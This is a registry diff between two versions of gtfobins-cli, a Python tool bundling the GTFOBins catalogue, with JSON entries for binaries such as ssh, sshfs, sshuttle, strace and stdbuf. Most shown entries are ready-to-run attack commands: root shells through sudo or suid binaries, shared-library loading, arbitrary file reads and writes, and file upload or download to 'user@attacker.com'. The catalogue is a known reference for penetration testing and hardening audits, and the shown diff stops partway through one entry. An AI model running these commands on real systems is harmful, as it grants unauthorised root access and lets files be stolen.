gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com",
|
|
6
|
+
"comment": "The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.",
|
|
7
|
+
"contexts": {
|
|
8
|
+
"sudo": null,
|
|
9
|
+
"unprivileged": null
|
|
10
|
+
}
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-write": [
|
|
14
|
+
{
|
|
15
|
+
"code": "ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host",
|
|
16
|
+
"comment": "The input file must have the `.pub` file extension.",
|
|
17
|
+
"contexts": {
|
|
18
|
+
"sudo": null,
|
|
19
|
+
"unprivileged": null
|
|
20
|
+
}
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/ssh-keygen.json
CHANGED
|
@@ -2,20 +2,20 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"library-load": [
|
|
4
4
|
{
|
|
5
|
-
|
|
6
|
-
"code": "ssh-keygen -D ./lib.so"
|
|
5
|
+
|
|
6
|
+
"code": "ssh-keygen -D ./lib.so\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
-
|
|
12
|
-
"code": "sudo ssh-keygen -D ./lib.so"
|
|
11
|
+
|
|
12
|
+
"code": "sudo ssh-keygen -D ./lib.so\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"suid": [
|
|
16
16
|
{
|
|
17
|
-
|
|
18
|
-
"code": "./ssh-keygen -D ./lib.so"
|
|
17
|
+
|
|
18
|
+
"code": "./ssh-keygen -D ./lib.so\n"
|
|
19
19
|
}
|
|
20
20
|
]
|
|
21
21
|
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nssh-keyscan -f $LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./ssh-keyscan -f $LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo ssh-keyscan -f $LFILE\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/ssh.json
CHANGED
|
@@ -3,36 +3,40 @@
|
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
5
|
"description": "Reconnecting may help bypassing restricted shells.",
|
|
6
|
-
"code": "ssh localhost $SHELL --noprofile --norc"
|
|
6
|
+
"code": "ssh localhost $SHELL --noprofile --norc\n"
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
9
|
"description": "Spawn interactive shell through ProxyCommand option.",
|
|
10
|
-
"code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
|
|
10
|
+
"code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x\n"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"description": "Spawn interactive shell on client, requires a successful connection towards `host`.",
|
|
14
|
+
"code": "ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host\n"
|
|
11
15
|
}
|
|
12
16
|
],
|
|
13
17
|
"file-upload": [
|
|
14
18
|
{
|
|
15
19
|
"description": "Send local file to a SSH server.",
|
|
16
|
-
"code": "
|
|
20
|
+
"code": "HOST=user@attacker.com\nRPATH=file_to_save\nLPATH=file_to_send\nssh $HOST \"cat > $RPATH\" < $LPATH\n"
|
|
17
21
|
}
|
|
18
22
|
],
|
|
19
23
|
"file-download": [
|
|
20
24
|
{
|
|
21
25
|
"description": "Fetch a remote file from a SSH server.",
|
|
22
|
-
"code": "
|
|
26
|
+
"code": "HOST=user@attacker.com\nRPATH=file_to_get\nLPATH=file_to_save\nssh $HOST \"cat $RPATH\" > $LPATH\n"
|
|
23
27
|
}
|
|
24
28
|
],
|
|
25
29
|
"file-read": [
|
|
26
30
|
{
|
|
27
31
|
"description": "The read file content is corrupted by error prints.",
|
|
28
|
-
"code": "
|
|
32
|
+
"code": "LFILE=file_to_read\nssh -F $LFILE localhost\n"
|
|
29
33
|
}
|
|
30
34
|
],
|
|
31
35
|
"sudo": [
|
|
32
36
|
{
|
|
33
37
|
"description": "Spawn interactive root shell through ProxyCommand option.",
|
|
34
|
-
"code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
|
|
38
|
+
"code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x\n"
|
|
35
39
|
}
|
|
36
40
|
]
|
|
37
41
|
}
|
|
38
|
-
}
|
|
42
|
+
}
|
gtfo/data/sshfs.json
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
"blind": true,
|
|
6
|
+
"code": "sshfs -o ssh_command=/path/to/command x: /path/to/dir/",
|
|
7
|
+
"contexts": {
|
|
8
|
+
"sudo": null,
|
|
9
|
+
"unprivileged": null
|
|
10
|
+
}
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"download": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/dir/path/to/input-file /path/to/output-file",
|
|
16
|
+
"contexts": {
|
|
17
|
+
"unprivileged": null
|
|
18
|
+
},
|
|
19
|
+
"sender": "ssh-server"
|
|
20
|
+
}
|
|
21
|
+
],
|
|
22
|
+
"shell": [
|
|
23
|
+
{
|
|
24
|
+
"code": "echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file\nchmod +x /path/to/temp-file\nsshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/",
|
|
25
|
+
"comment": "The mount dir must be writable by the invoking user.",
|
|
26
|
+
"contexts": {
|
|
27
|
+
"sudo": null,
|
|
28
|
+
"unprivileged": null
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
],
|
|
32
|
+
"upload": [
|
|
33
|
+
{
|
|
34
|
+
"code": "sshfs user@attacker.com:/ /path/to/dir/\ncp /path/to/input-file /path/to/dir/",
|
|
35
|
+
"contexts": {
|
|
36
|
+
"unprivileged": null
|
|
37
|
+
},
|
|
38
|
+
"receiver": "ssh-server"
|
|
39
|
+
}
|
|
40
|
+
]
|
|
41
|
+
}
|
|
42
|
+
}
|
gtfo/data/sshpass.json
ADDED
gtfo/data/sshuttle.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. The output of the executed command is in /tmp/root_id",
|
|
6
|
+
"code": "sudo sshuttle -r root@anything --ssh-cmd \"/bin/bash -c 'id>/tmp/root_id'\" 192.168.3.3\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/start-stop-daemon.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "start-stop-daemon -n $RANDOM -S -x /bin/sh\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "./start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/stdbuf.json
CHANGED
|
@@ -2,18 +2,21 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "stdbuf -i0 /bin/sh\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "./stdbuf -i0 /bin/sh -p\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "sudo stdbuf -i0 /bin/sh\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
|
19
|
-
}
|
|
22
|
+
}
|
gtfo/data/strace.json
CHANGED
|
@@ -2,23 +2,26 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-write": [
|
|
4
4
|
{
|
|
5
|
-
"description": "The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of
|
|
6
|
-
"code": "
|
|
5
|
+
"description": "The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.",
|
|
6
|
+
"code": "LFILE=file_to_write\nstrace -s 999 -o $LFILE strace - DATA\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"shell": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "strace -o /dev/null /bin/sh\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"suid": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./strace -o /dev/null /bin/sh -p\n"
|
|
17
19
|
}
|
|
18
20
|
],
|
|
19
21
|
"sudo": [
|
|
20
22
|
{
|
|
21
|
-
|
|
23
|
+
|
|
24
|
+
"code": "sudo strace -o /dev/null /bin/sh\n"
|
|
22
25
|
}
|
|
23
26
|
]
|
|
24
27
|
}
|
gtfo/data/strings.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This only returns ASCII strings, thus it is not suitable for binary files.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
